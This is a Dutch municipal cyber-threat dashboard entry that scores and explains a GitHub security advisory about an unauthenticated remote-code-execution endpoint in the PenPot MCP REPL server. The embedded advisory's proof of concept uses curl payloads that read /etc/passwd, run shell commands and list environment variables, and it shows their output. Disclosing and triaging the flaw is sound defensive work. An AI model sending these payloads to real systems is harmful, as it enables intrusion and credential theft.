Gemeente Cyber Dreigingsradar
Kritiek
Terug naar het overzicht
KritiekLeveranciersincidentGitHub Security Advisories

PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

Prioriteit & onderbouwing

55 / 100

Prioriteit: Verhoogd

Deze week beoordelen

Verhoogd (55/100): deze week beoordelen. Zwaarst wegend: technische ernst en gemeentelijke relevantie.

Threat Score85 / 100

hoog

  • Technische ernst (severity): Genormaliseerde ernst 'critical'; geen CVSS-score beschikbaar.
Exploit Score10 / 100

laag

  • Geen exploit bekend: Er is geen exploit of actief misbruik bekend.
Municipal Relevance Score55 / 100

verhoogd

  • Gemeentelijke relevantie: Relevantiescore 55/100 uit de relevantie-engine (module 5).
Action Urgency Score55 / 100

verhoogd

  • Technische ernst: Threat Score 85/100 x gewicht 25%.
  • Exploitatie: Exploit Score 10/100 x gewicht 25%.
  • Gemeentelijke relevantie: Relevantiescore 55/100 x gewicht 22%.
  • Betrouwbaarheid van het signaal: Confidence 'likely' x gewicht 12%.
  • Blootstellingskans: Geschatte blootstelling 47% x gewicht 10%.
  • Betrouwbaarheid van de bron: Bronbetrouwbaarheid 88% x gewicht 6%.

De priority_score is de Action Urgency Score: een gewogen combinatie van de technische ernst, de exploitatie en de gemeentelijke relevantie.

Toelichting

### Summary The MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed. ### Details `mcp/packages/server/src/ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, () => { // NO HOST ARGUMENT — Express defaults to 0.0.0.0 ``` Compare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `"localhost"`): ```typescript this.app.listen(this.port, this.host, async () => { ``` The `/execute` endpoint at `ReplServer.ts:52-79`: ```typescript this.app.post("/execute", async (req, res) => { const { code } = req.body; // No auth check. Executes code via PluginBridge.executePluginTask() const task = new ExecuteCodePluginTask({ code }); const result = await this.pluginBridge.executePluginTask(task); ``` No auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs. This was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument. ### PoC I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network. ```bash $ node server.js REPL server started on port 4403 Bound to: :::4403 All interfaces: YES ``` **Unauthenticated code execution:** ```bash $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"os\").hostname()"}' {"success":true,"result":"kali"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}' {"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}' {"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}' {"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"} ``` **Binding verification:** ``` $ ss -tlnp | grep 4403 LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21)) ``` Listening on `*:4403` — all interfaces. **Remote access from Docker container:** ```bash $ docker exec penpot-backend curl -s http://172.18.0.1:4403/ REPL Server - Penpot MCP (no auth) ``` Reachable from any container on the Docker network. ### Impact Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network. ### Suggested fix Two lines: 1. Add a `host` parameter to the listen call in `ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, 'localhost', () => { ``` 2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.

Onderbouwing van de classificatie

Categorie 'supplier_incident' overgenomen van de bron; geen specifieker incidenttype gedetecteerd. Severity 'critical' bepaald op basis van: bronlabel 'high', trefwoord 'unauthenticated'. Confidence 'likely': gerenommeerd securityonderzoek (GitHub Security Advisories). Geen bekende leveranciers of producten herkend.

Kwetsbaarheden

CVE-2026-45805Prioriteitsscore 0.0 / 100
CVSS
EPSS
KEV
Nee
npm

Gemeentelijke relevantie

55

Deze dreiging scoort 55/100 voor de gemeentelijke relevantie. Meegewogen: een hoge ernstinschaling, veelgebruikte gemeentelijke technologie en een leveranciers- of ketenrisico. Geraakte processen: Microsoft 365 en identity, Netwerk en infrastructuur, Leveranciersketen.

Bestuurlijke duiding

Deze dreiging is relevant voor de gemeente. Omdat het een leverancier betreft, is de gemeente afhankelijk van diens herstel en is regie op de keten nodig. De impact is beheersbaar mits de geadviseerde maatregelen tijdig worden opgevolgd. Laat de CISO de voortgang bewaken en escaleer richting directie zodra nieuwe signalen daartoe aanleiding geven.

Geraakte processen

Microsoft 365 en identityNetwerk en infrastructuurLeveranciersketen

Geraakte technologie

@penpot/mcpnpm

Betrokken rollen

CISO · ISO · SOC · ICT beheer · Leveranciersmanager

Operationele acties

  • Inventariseer welke koppelingen en gegevensstromen met de leverancier lopen.
  • Schakel waar nodig de koppeling met de leverancier tijdelijk uit.
  • Vraag bewijs van herstel op voordat de dienstverlening wordt hervat.

Concrete stappen voor ICT-beheer en het securityteam.

Aanbevolen acties

  • Breng in kaart welke leveranciers en koppelingen zijn geraakt.
  • Vraag de leverancier om een statusupdate en een herstelplan.
  • Beoordeel de impact op de eigen dienstverlening.

Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.

Kenmerken

Ernst
Kritiek
Categorie
Leveranciersincident
Zekerheid
Waarschijnlijk
Status
Verrijkt
CVE's
CVE-2026-45805
Prioriteitsscore
55 / 100 · Verhoogd
Bron
GitHub Security Advisories
Gepubliceerd
19 mei 2026

Labels

Remote code executionSupply chainOpensourceContainers
Originele publicatie